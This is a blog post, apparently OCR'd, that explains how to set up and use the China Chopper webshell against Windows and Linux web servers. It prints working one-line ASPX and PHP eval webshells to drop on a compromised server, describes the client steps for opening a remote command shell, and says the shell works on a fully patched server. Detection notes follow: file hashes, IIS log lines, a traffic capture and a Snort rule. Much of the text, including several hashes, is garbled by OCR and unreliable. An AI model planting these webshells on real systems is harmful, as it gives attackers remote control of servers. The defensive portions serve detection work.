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China Chopper Webshell - the 4KB that Owns your Web Server
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I've been wanting to blog about China Chopper for sometime and finally got around to it. When I first started
researching this webshell I was unable to find anything about how to set it up and configure it. In this post I'll go

over the components of China Chopper as well as setting it up.

China Chopper is a webshell used to remotely access Windows or Linux servers. It is malicious software used by

the bad guys. Given the name China Chopper it is developed in China and used heavily by Chinese hackers.

The software is hosted on maicaidao.com, which I might mention has recently changed.
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The webshell consists mainly of two parts, the client interface (caidao.exe) and the file placed on the

compromised web server.

Here are the files included with the download & MD5's.

caidao.exe 5001ef50c7e869253a7c152a638eab8a
CCC
aspRwWithJMail.ccc abd6cbfa2ead1d0e8a6735aa49b963ff
aspSpy.ccc be207c46105c38571ae958ae2dad7297
aspx.ccc cc07ac4caef188334£c330f62e0a574a
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php.ccc 9100b18660f3aleeca7eaB801b357b8ce
phpSpy.ccc ce1a9fc93040d5c94£789b579fe1c106
Customize

Customize.aspx 8aa603ee2454da64f4c70f24ccOb5e08
Customize.cfm ad8288227240477a95fb023551773c84
Customize.jsp acba8115d027529763ea5c7ed6621499

The file dropped on the compromised server is nice and small. The client, caidao.exe communicates directly with

the file.

Servers running IIS, place the contents below in a file called webshell.aspx

<% @ Page Language="Jscript"%><%eval(Request.Item[”password"],"unsafe"); %>

Servers running Apache with PHP, place the contents in a file call webshell.php
<?php @eval($_POST['password']);?>

Next, open caidao.exe

You will see examples already listed referencing maicaidao.com. Lets add in the information to communicate with

our test compromised Windows 2008 R2 server using the webshell.aspx file mentioned above.

Right-click and select add, you will see the following dialog box

| EREHELL *

Acddbmes | Fitpe 132 160,32 123 veiachoell sz [pazow

Conlig

Motes | @

[Cratzud | [45FiEvall =] [UTF2 =] E®
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Address field is the URL to the file on the compromised server. The next field acts as a password of sort, if this

doesn't match the contents in the webshell.aspx file it won't work.
<% @ Page Language="Jscript"%><%eval(Request.Iltem[”password"], "unsafe");%>
Change the file type to match ASPX and change the codepage to UTF-8.

Click 'Edit' to save your changes. To open up a remote shell, right-click on the entry and select 'Virtual Terminal'.

If everything was correctly you will see the following command interface.

(| LB

I should note that this works on a fully patched and default configuration of Windows 2008 R2 web server
role. Primarily because .NET by default has full control, if you change it to 'High' China Chopper (and many

other) webshell will not work.

When the webshell is executing commands you will see the following with Process Explorer

o o e 11,972 K Hosl Process Tor Windows 5.. NT AUTHORITTSYSTEM CrWindows srslem Il avehos eos K issvis
B WD o 148 364 K 115 ‘Workeer Procoss 115 APFROOL Dedfault App Pocl o windowy \gyshem 1 netery'on 3wp e 2p “DefaultAppPool™ + “vd I | “webang
= m omd e 232K ows Command Processor 113 W0 Deef st App P omd” #cod Ad " inetpub evwwenot’ Snetetal 1lecho [5Bodiacha [E]
§ |METSTAT EXE JHM K TCPAFP Netss Command 15 AP PP L Coed el e Pl natEE 1

IIS logs will show only a post to the file, here is a line copied from the IIS log

2012-11-16 22:30:14 172.16.192.137 POST /webshell.aspx - 80 - 172.16.192.140 Mozilla/4.0+
(compatible;+MSIE+6.0;+Windows+NT+5.1) 200 0 0 31
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The traffic is base64 encoded, here is a snipit from Wireshark during a post of the initial connection and sending
the netstat command.

Strearn Canfent

Cache-Control: mo-cache

X-Forwardod-F t 147.211.135. 66

Referer: hTp:/ /107,168 32,178

Comtent-Type: dl-'ﬁ"' icat on/x-ww-Form-ur 1 encoded

user-Agent: Morillafd4.0 (compatible; WMSIE 6.0; windows NT 5.1)
HosT: 192.165. 32,178

Contenl-Lenglh: 1134

connection: Clase

ERed et apas paiE e, W TTe( -] ") var err EXceprion; Try{eval

System. Text. Encoding. GetEncod ing (65001 ). GetString(Systen. Comvert. FromBasebdstring
{“dnFyIcMBomy ITFNSc 3R] bs SEawrnbmizda] § T SOCcmS |2 XNZUIRhen Y bnz vk e kS 201 bSSuzhoL kvisy29kca
winL kd ] devuy? M awSnknyi MDAk s SHe e TdHa ou | pdevr knvline engurnivbu The 202 nerdcmluzyhs
ZRF1THOL K 1 0EWL b T raxT 1 Opksk? deF v IGLObe 3ITFNSC IR T BSSEaWFnbabzdG] oy St 2N anek  dnFy 160
1a0pTexhlZWiuSUBUL S RYZ Wl tUmVRZ GV LEVIO 1845cIRTBS5ITY STdHI 1YWL SIWE kI Py SV 2 Tatws b v 2w
M1 S 502U T Yy S Wi pom J e v w R e R T S HW PRy TRLT 1S n.-'uufrm.- JoEsce kv ko ayh 31 2
HILZTL 1L 1wy J05W S mlrl oM Indel ThnR 2P SIvyys T K1NGC IR s Suzhi kivuy 29k awSnl k] deiuy 26k
a5 ME LM Do 5 SHEXRTdH] phmool 31 206 T Lkhvbnz 1 onfund vl Jhc 2 U2 WF hocn 1 uZ yhSEXFLE NS OLE ] DERL
nIncyl 10pKTT 1L ] ROvEI0KE kT hIvOraiuu 3R hhnkhom e ommed o0 7 B ok 02 5 5 TdGF uzG

u;“ WYCIEYDZ LUGZ Ve
UCETT 2 Bz 5 5aom 1 07 shvixnuumhe F Ry Rw S K KC ke Rk he F Ry RS KK Kpows 308
Elua ] "¥; beatchferr) {Response, write("ERROR: // "%ZBerr.message); JResponse, Write

| . End

[aH r‘..:'l 187 F= v Fopgl Fpg ERMEXG | wrmidn ) Cd 3 Iomivd P 2m5 1dENIYXGGLWE U THeG2m TUZCAT RVRLIGL M
SWMIRU T Jen j acBguld Jokik et fasEquiediTTe 1.1 200 oK

There are many ways to protect against this so I won't go into that, however it would be a good idea to do some

Splunking on http posts! If you don't have Splunk you could use snort to monitor for this with a simple rule to
watch for base64 _decode and POST.

I put this together really quick as a proof of concept so no consideration was put into performance. Snort might
already have much better rules in place to detect base64 in http traffic.

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode"; http_client_body;flow:to_server,established;
content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)

I hope this post has informative and helped you out. If you have any questions, please feel free to contact me.

Keith

Source: https://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html
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